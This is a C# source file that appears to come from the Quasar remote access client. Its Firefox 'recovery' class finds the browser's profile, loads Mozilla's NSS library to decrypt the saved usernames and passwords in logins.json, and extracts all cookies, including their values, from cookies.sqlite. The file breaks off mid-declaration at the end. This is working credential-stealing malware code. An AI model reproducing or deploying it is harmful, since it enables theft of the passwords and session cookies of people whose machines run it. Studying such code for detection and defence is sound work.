using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
using Quasar.Client.Extensions;
using Quasar.Client.Helper;
using Quasar.Client.Recovery.Utilities;
using Quasar.Client.Utilities;
using Quasar.Common.Helpers;
using Quasar.Common.Models;
namespace Quasar.Client.Recovery.Browsers
{
///
/// A small class to recover Firefox Data
///
public static class Firefox
{
private static IntPtr nssModule;
private static DirectoryInfo firefoxPath;
private static DirectoryInfo firefoxProfilePath;
private static FileInfo firefoxLoginFile;
private static FileInfo firefoxCookieFile;
static Firefox()
{
try
{
firefoxPath = GetFirefoxInstallPath();
if (firefoxPath == null)
throw new NullReferenceException("Firefox is not installed, or the install path could not be located");
firefoxProfilePath = GetProfilePath();
if (firefoxProfilePath == null)
throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?");
firefoxLoginFile = GetFile(firefoxProfilePath, "logins.json");
if (firefoxLoginFile == null)
throw new NullReferenceException("Firefox does not have any logins.json file");
firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite");
if (firefoxCookieFile == null)
throw new NullReferenceException("Firefox does not have any cookie file");
}
catch (Exception)
{
}
}
#region Public Members
///
/// Recover Firefox Passwords from logins.json
///
/// List of Username/Password/Host
public static List GetSavedPasswords()
{
List firefoxPasswords = new List();
try
{
// init libs
InitializeDelegates(firefoxProfilePath, firefoxPath);
JsonFFData ffLoginData = new JsonFFData();
using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
{
string json = sr.ReadToEnd();
ffLoginData = JsonUtil.Deserialize(json);
}
foreach (Login data in ffLoginData.logins)
{
string username = Decrypt(data.encryptedUsername);
string password = Decrypt(data.encryptedPassword);
Uri host = new Uri(data.formSubmitURL);
firefoxPasswords.Add(new RecoveredAccount { Url = host.AbsoluteUri, Username = username, Password = password, Application = "Firefox" });
}
}
catch (Exception)
{
}
return firefoxPasswords;
}
///
/// Recover Firefox Cookies from the SQLite3 Database
///
/// List of Cookies found
public static List GetSavedCookies()
{
List data = new List();
SQLiteHandler sql = new SQLiteHandler(firefoxCookieFile.FullName);
if (!sql.ReadTable("moz_cookies"))
throw new Exception("Could not read cookie table");
int totalEntries = sql.GetRowCount();
for (int i = 0; i < totalEntries; i++)
{
try
{
string h = sql.GetValue(i, "host");
//Uri host = new Uri(h);
string name = sql.GetValue(i, "name");
string val = sql.GetValue(i, "value");
string path = sql.GetValue(i, "path");
bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
bool http = sql.GetValue(i, "isSecure") == "0" ? false : true;
// if this fails we're in deep shit
long expiryTime = long.Parse(sql.GetValue(i, "expiry"));
long currentTime = ToUnixTime(DateTime.Now);
DateTime exp = FromUnixTime(expiryTime);
bool expired = currentTime > expiryTime;
data.Add(new FirefoxCookie()
{
Host = h,
ExpiresUTC = exp,
Expired = expired,
Name = name,
Value = val,
Path = path,
Secure = secure,
HttpOnly = http
});
}
catch (Exception)
{
return data;
}
}
return data;
}
#endregion
#region Functions
private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
{
//Return if under firefox 35 (35+ supported)
//Firefox changes their DLL heirarchy/code with different releases
//So we need to avoid trying to load a DLL in the wrong order
//To prevent pop up saying it could not load the DLL
if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major)
return;
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
nssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSS_Init");
NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
NSS_Init(firefoxProfilePath.FullName);
long keySlot = PK11_GetInternalKeySlot();
PK11_Authenticate(keySlot, true, 0);
}
private static DateTime FromUnixTime(long unixTime)
{
DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
return epoch.AddSeconds(unixTime);
}
private static long ToUnixTime(DateTime value)
{
TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime());
return (long)span.TotalSeconds;
}
#endregion
#region File Handling
private static DirectoryInfo GetProfilePath()
{
string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
if (!Directory.Exists(raw))
throw new Exception("Firefox Application Data folder does not exist!");
DirectoryInfo profileDir = new DirectoryInfo(raw);
DirectoryInfo[] profiles = profileDir.GetDirectories();
if (profiles.Length == 0)
throw new IndexOutOfRangeException("No Firefox profiles could be found");
// return first profile
return profiles[0];
}
private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm)
{
foreach (FileInfo file in profilePath.GetFiles(searchTerm))
{
return file;
}
throw new Exception("No Firefox logins.json was found");
}
private static DirectoryInfo GetFirefoxInstallPath()
{
// get firefox path from registry
using (RegistryKey key = PlatformHelper.Is64Bit ?
RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox") :
RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
@"SOFTWARE\Mozilla\Mozilla Firefox"))
{
if (key == null) return null;
string[] installedVersions = key.GetSubKeyNames();
// we'll take the first installed version, people normally only have one
if (installedVersions.Length == 0)
throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
using (RegistryKey mainInstall = key.OpenSubKey(installedVersions[0]))
{
// get install directory
string installPath = mainInstall.OpenReadonlySubKeySafe("Main")
.GetValueSafe("Install Directory");
if (string.IsNullOrEmpty(installPath))
throw new NullReferenceException("Install string was null or empty");
firefoxPath = new DirectoryInfo(installPath);
}
}
return firefoxPath;
}
#endregion
#region WinApi
// Credit: http://www.pinvoke.net/default.aspx/kernel32.loadlibrary
private static IntPtr LoadWin32Library(string libPath)
{
if (String.IsNullOrEmpty(libPath))
throw new ArgumentNullException("libPath");
IntPtr moduleHandle = NativeMethods.LoadLibrary(libPath);
if (moduleHandle == IntPtr.Zero)
{
var lasterror = Marshal.GetLastWin32Error();
var innerEx = new Win32Exception(lasterror);
innerEx.Data.Add("LastWin32Error", lasterror);
throw new Exception("can't load DLL " + libPath, innerEx);
}
return moduleHandle;
}
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate long NSS_InitPtr(string configdir);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int PK11SDR_DecryptPtr(ref TSECItem data, ref TSECItem result, int cx);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate long PK11_GetInternalKeySlotPtr();
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate long PK11_AuthenticatePtr(long slot, bool loadCerts, long wincx);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int NSSBase64_DecodeBufferPtr(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
[StructLayout(LayoutKind.Sequential)]
private struct TSECItem
{
public int SECItemType;
public int SECItemData;
public int SECItemLen;
}
#endregion
#region JSON
// json deserialize classes
/* private class JsonFFData
{
public long nextId;
public LoginData[] logins;
public string[] disabledHosts;
public int version;
}
private class LoginData
{
public long id;
public string hostname;
public string url;
public string httprealm;
public string formSubmitURL;
public string usernameField;
public string passwordField;
public string encryptedUsername;
public string encryptedPassword;
public string guid;
public int encType;
public long timeCreated;
public long timeLastUsed;
public long timePasswordChanged;
public long timesUsed;
}*/
public class Login
{
public int id { get; set; }
public string hostname { get; set; }
public object httpRealm { get; set; }
public string formSubmitURL { get; set; }
public string usernameField { get; set; }
public string passwordField { get; set; }
public string encryptedUsername { get; set; }
public string encryptedPassword { get; set; }
public string guid { get; set; }
public int encType { get; set; }
public long timeCreated { get; set; }
public long timeLastUsed { get; set; }
public long timePasswordChanged { get; set; }
public int timesUsed { get; set; }
}
public class JsonFFData
{
public int nextId { get; set; }
public List logins { get; set; }
public List